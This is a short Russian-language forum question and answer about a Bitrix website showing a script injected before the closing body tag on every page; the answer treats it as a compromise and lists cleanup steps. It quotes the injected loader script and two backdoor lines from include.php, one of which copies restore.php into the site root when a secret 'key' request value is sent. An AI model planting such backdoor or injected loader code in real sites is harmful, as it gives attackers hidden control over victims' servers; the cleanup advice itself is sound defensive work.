Перед закрывающим бади система вставлет на каждой странице сайта скрипт:
<script type="text/javascript" defer>var scriqt=document.createElement('script');scriqt.src='/bitrix/js/main/core/core_loader.js?v=0.2.32';scriqt.onl oad=function(){document.head.removeChild(scriqt);};document.head.appendChild(scriqt);</script>
И на него ругается валидатор.
Как отключить этот скрипт?
Вам необходимо:
1. Сделать полную резервную копию сайта.
2. Удалить restore.php из корня сайта.
3. Удалить посторонний скрипт /bitrix/js/main/core/core_loader.js
4. Отредактировать /bitrix/modules/main/include.php, удалив из него строчки:
require_once($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/gadgets/bitrix/weather/lang/ru/exec/include.php");
if($_REQUEST["key"]!=""){if($_REQUEST["key"]=="a".md5("B_PROLOG_INCLUDED")."e"){$resu1t=copy($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/admin/restore.php",$_SERVER["DOCUMENT_ROOT"]."/restore.php");if($resu1t){die("ok");}else{die("fail");}}};
5. Удалить /bitrix/gadgets/bitrix/weather/lang/ru/exec/include.php и /bitrix/tools/check_files.php
После этого крайне рекомендуется обновить свою установку через систему обновлений.
И также рекомендуется для поисков вирусов воспользоваться модулем "Поиск троянов".